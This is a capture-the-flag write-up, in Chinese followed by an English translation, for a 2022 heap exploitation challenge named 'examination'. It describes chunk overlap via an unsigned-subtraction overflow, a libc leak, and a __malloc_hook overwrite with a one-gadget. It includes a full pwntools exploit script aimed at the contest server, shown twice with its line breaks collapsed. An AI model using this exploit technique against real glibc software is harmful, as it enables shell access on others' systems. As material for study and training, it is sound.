题目
https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip
解题
角色扮演的 pwn 题,可以切换学生和老师
发现了好多漏洞,估计是考漏洞的利用,当然解法可能就不止一种
主要利用的漏洞:无符号数减法负数溢出,student role 下的 set mode 中可以修改内存中的指针导致堆块堆叠
只用到一次 free
思路,构造一个 mode chunk 使得这个 chunk 在 comment chunk1 的上方,以及另一个 comment chunk2 在其下方,然后 pray 一下,将指针下移 16 个字节,使得可以操控 comment chunk 的 size 位置,修改 size 为 0x421 绕过 tcache,释放到 unsorted bin,同时布置好 comment chunk2 的中伪造一个 size 位置,这个时候重新在分配一个和 comment chunk1 大小相同的 commend chunk 就会切割 unsorted bin,使得 main_arena 的地址向后推移,写入 comment chunk2,这个时候 read comment chunk2 就能够泄露 libc 基址,同样的手法,再 add student,分配的 student node 和 test node 都会切割 unsorted bin 中的块,这个时候切割的 unsorted bin 就是之前堆块堆叠导致的 comment chunk2,那我们就能够控制 student node 和 test node,修改 test node 中的 comment 地址__malloc_hook,再向 malloc_hook 中写入 ogg,再调用 teacher role 的 pray,就能够 getshell


Exp
from pwn import *
context.log_level='debug'# io = process(['./ld-2.31.so', './examination'], env={'LD_PRELOAD':'./libc-2.31.so'})io = remote('124.70.130.92', 60001)
roleg = 0idg = -1lazy_map = {}reward_map = {}
def change_role(role): global roleg, idg roleg = role if role == 0: idg = -1 io.sendlineafter('choice>> ', '5') io.sendlineafter('role: <0.teacher/1.student>: ', str(role))
def t_addstu(quesqtion_num): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '1') rt = io.recv(5) if 'enter' in rt: io.sendlineafter('questions: ',str(quesqtion_num)) else: print rt
def t_getshell(): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '6')
def t_givescore(): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '2') io.recvuntil('marking testing papers.....\n') rt = io.recvuntil('finish\n', drop=True) rt = rt.strip().split('\n') def f(ss): ss = ss.replace('score for the ', '') # print(ss) a = int(ss[:ss.find('th')]) b = int(ss[ss.find('is ')+3:]) return (a, b) ans = [] # print(rt) for sr in rt: # print(sr) if 'b@d!' in sr: continue # print sr ans.append(f(sr)) return ans
def t_comment(_id, comment, size): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '3') io.sendlineafter('which one? > ', str(_id)) rt = io.recv(5) if 'pleas' in rt: io.sendlineafter('size of comment: ', str(size)) io.sendlineafter('ur comment:\n', comment)
def t_free(_id): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '4') io.sendlineafter('which student id to choose?\n', str(_id)) lazy_map[_id] = 0 reward_map[_id] = 0
def s_change_id(_id): global idg (lambda x: (change_role(x) if roleg != x else 0))(1) io.sendlineafter('choice>> ', '6') io.sendlineafter('input your id: ', str(_id)) idg = _id
def s_pray(_id): (lambda x: (change_role(x) if roleg != x else 0))(1) (lambda x: (s_change_id(x) if idg != x else 0))(_id) io.sendlineafter('choice>> ', '3') lazy_map[_id] = 1 - lazy_map.get(_id, 0)
def s_set_mode(_id, mode): (lambda x: (change_role(x) if roleg != x else 0))(1) (lambda x: (s_change_id(x) if idg != x else 0))(_id) io.sendlineafter('choice>> ', '4') rt = io.recvuntil('\n') if 'mode' in rt: io.sendline(mode) else: io.sendline(str(mode))
def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x): if reward_map.get(_id, 0) == 1: return if to_reward: s_pray(_id) while True: tmp = t_givescore() tmp = dict(tmp) assert _id in tmp if tmp[_id] < 10: break (lambda x: (change_role(x) if roleg != x else 0))(1) (lambda x: (s_change_id(x) if idg != x else 0))(_id) io.sendlineafter('choice>> ', '2') if to_reward: io.recvuntil('Good Job! Here is your reward! ') target_addr = int(io.recvuntil('\n', drop=True), 16) tf(target_addr) target_addr = fx(target_addr) io.sendafter('add 1 to wherever you want! addr: ', str(target_addr)) reward_map[_id] = 1 if has_comment: io.recvuntil('here is the review:\n')
io.sendlineafter('role: <0.teacher/1.student>: ', str(roleg))for i in range(7): t_addstu(9)
# t_comment(6, 'sss', )# s_set_mode(3, 'asdf')s_set_mode(4, 'asdf')s_set_mode(5, 'asdf')
t_comment(6, 'sss', 0x300)t_comment(5, 'a'*0x100+p64(0)+p64(0x201), 0x300)
s_pray(5)s_set_mode(5, 32)s_pray(5)s_set_mode(5, 'q'*8 + p64(0x421))
t_free(6)t_comment(4, 'sss', 0x300)
s_check_review(5, False, null, True)main_arena = u64(io.recv(8)) - 96
libc_base = main_arena - 0x00001ECB80log.success("libc_base: " + hex(libc_base))
t_addstu(1)t_comment(6, 'sss', 0x300)
heap_addr = 0def ftmp(addr): global heap_addr heap_addr = addr
s_check_review(6, True, lambda x: x-0x10, True, ftmp)log.success('heap_addr: ' + hex(heap_addr))
libc = ELF('./libc-2.31.so')malloc_hook = libc.sym['__malloc_hook'] + libc_base
p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)t_comment(5, p, 0x300)
ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
t_comment(6, p64(ogg[1]+libc_base), 0x300)
t_getshell()
# gdb.attach(io)
io.interactive()Translate by Kimi-K3
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip
Solution
A role-playing pwn challenge where you can switch between student and teacher roles.
I found quite a few vulnerabilities — it’s probably testing vulnerability exploitation, so there is naturally more than one possible solution.
The main vulnerabilities used: negative overflow from unsigned subtraction, and the set mode function under the student role, which lets you modify a pointer in memory and cause heap chunk overlapping.
Only a single free is used.
The idea: craft a mode chunk so that it sits above comment chunk1, with another comment chunk2 below it. Then use pray to move the pointer down by 16 bytes, so that we can manipulate the size field of the comment chunk. Change the size to 0x421 to bypass tcache and free it into the unsorted bin. At the same time, place a fake size field inside comment chunk2. Then, when we allocate a new comment chunk with the same size as comment chunk1, it will split the unsorted bin, pushing the main_arena address forward so that it gets written into comment chunk2. At that point, reading comment chunk2 leaks the libc base address. Using the same technique, add a student again — the allocated student node and test node will both split chunks from the unsorted bin, and the unsorted bin chunk being split here is the very comment chunk2 that resulted from the earlier heap chunk overlap. That means we can control the student node and the test node. Modify the comment pointer in the test node to __malloc_hook, write a one-gadget (ogg) into malloc_hook, then call the teacher role’s pray to getshell.


Exp
from pwn import *
context.log_level='debug'# io = process(['./ld-2.31.so', './examination'], env={'LD_PRELOAD':'./libc-2.31.so'})io = remote('124.70.130.92', 60001)
roleg = 0idg = -1lazy_map = {}reward_map = {}
def change_role(role): global roleg, idg roleg = role if role == 0: idg = -1 io.sendlineafter('choice>> ', '5') io.sendlineafter('role: <0.teacher/1.student>: ', str(role))
def t_addstu(quesqtion_num): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '1') rt = io.recv(5) if 'enter' in rt: io.sendlineafter('questions: ',str(quesqtion_num)) else: print rt
def t_getshell(): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '6')
def t_givescore(): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '2') io.recvuntil('marking testing papers.....\n') rt = io.recvuntil('finish\n', drop=True) rt = rt.strip().split('\n') def f(ss): ss = ss.replace('score for the ', '') # print(ss) a = int(ss[:ss.find('th')]) b = int(ss[ss.find('is ')+3:]) return (a, b) ans = [] # print(rt) for sr in rt: # print(sr) if 'b@d!' in sr: continue # print sr ans.append(f(sr)) return ans
def t_comment(_id, comment, size): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '3') io.sendlineafter('which one? > ', str(_id)) rt = io.recv(5) if 'pleas' in rt: io.sendlineafter('size of comment: ', str(size)) io.sendlineafter('ur comment:\n', comment)
def t_free(_id): (lambda x: (change_role(x) if roleg != x else 0))(0) io.sendlineafter('choice>> ', '4') io.sendlineafter('which student id to choose?\n', str(_id)) lazy_map[_id] = 0 reward_map[_id] = 0
def s_change_id(_id): global idg (lambda x: (change_role(x) if roleg != x else 0))(1) io.sendlineafter('choice>> ', '6') io.sendlineafter('input your id: ', str(_id)) idg = _id
def s_pray(_id): (lambda x: (change_role(x) if roleg != x else 0))(1) (lambda x: (s_change_id(x) if idg != x else 0))(_id) io.sendlineafter('choice>> ', '3') lazy_map[_id] = 1 - lazy_map.get(_id, 0)
def s_set_mode(_id, mode): (lambda x: (change_role(x) if roleg != x else 0))(1) (lambda x: (s_change_id(x) if idg != x else 0))(_id) io.sendlineafter('choice>> ', '4') rt = io.recvuntil('\n') if 'mode' in rt: io.sendline(mode) else: io.sendline(str(mode))
def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x): if reward_map.get(_id, 0) == 1: return if to_reward: s_pray(_id) while True: tmp = t_givescore() tmp = dict(tmp) assert _id in tmp if tmp[_id] < 10: break (lambda x: (change_role(x) if roleg != x else 0))(1) (lambda x: (s_change_id(x) if idg != x else 0))(_id) io.sendlineafter('choice>> ', '2') if to_reward: io.recvuntil('Good Job! Here is your reward! ') target_addr = int(io.recvuntil('\n', drop=True), 16) tf(target_addr) target_addr = fx(target_addr) io.sendafter('add 1 to wherever you want! addr: ', str(target_addr)) reward_map[_id] = 1 if has_comment: io.recvuntil('here is the review:\n')
io.sendlineafter('role: <0.teacher/1.student>: ', str(roleg))for i in range(7): t_addstu(9)
# t_comment(6, 'sss', )# s_set_mode(3, 'asdf')s_set_mode(4, 'asdf')s_set_mode(5, 'asdf')
t_comment(6, 'sss', 0x300)t_comment(5, 'a'*0x100+p64(0)+p64(0x201), 0x300)
s_pray(5)s_set_mode(5, 32)s_pray(5)s_set_mode(5, 'q'*8 + p64(0x421))
t_free(6)t_comment(4, 'sss', 0x300)
s_check_review(5, False, null, True)main_arena = u64(io.recv(8)) - 96
libc_base = main_arena - 0x00001ECB80log.success("libc_base: " + hex(libc_base))
t_addstu(1)t_comment(6, 'sss', 0x300)
heap_addr = 0def ftmp(addr): global heap_addr heap_addr = addr
s_check_review(6, True, lambda x: x-0x10, True, ftmp)log.success('heap_addr: ' + hex(heap_addr))
libc = ELF('./libc-2.31.so')malloc_hook = libc.sym['__malloc_hook'] + libc_base
p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)t_comment(5, p, 0x300)
ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
t_comment(6, p64(ogg[1]+libc_base), 0x300)
t_getshell()
# gdb.attach(io)
io.interactive()